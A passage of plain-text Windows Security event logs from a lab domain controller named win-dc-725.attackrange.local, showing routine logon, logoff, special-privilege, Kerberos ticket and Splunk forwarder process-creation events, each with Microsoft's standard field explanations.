This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250416
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10B157
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64445

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250415
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10B157

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250414
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10B0F0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250413
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10B0F0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64444

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250412
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10B0F0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250411
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10B08F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250410
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10B08F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64443

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250409
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10B08F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250408
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250451
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF27

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250450
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x107F9E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250449
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10829E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250448
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF27

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250447
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF27
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A2E31182-9F48-6B6D-1074-C355E49AF924}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250446
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A2E31182-9F48-6B6D-1074-C355E49AF924}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250445
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A2E31182-9F48-6B6D-1074-C355E49AF924}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250444
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250443
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF0B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250442
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF0B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250441
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF0B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A2E31182-9F48-6B6D-1074-C355E49AF924}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250440
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A2E31182-9F48-6B6D-1074-C355E49AF924}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250439
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A2E31182-9F48-6B6D-1074-C355E49AF924}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250438
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250437
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10A7BC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250436
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x109999

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250435
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1085D6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250434
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1244
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250433
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10C3A5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250432
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10C3A5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64450

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250431
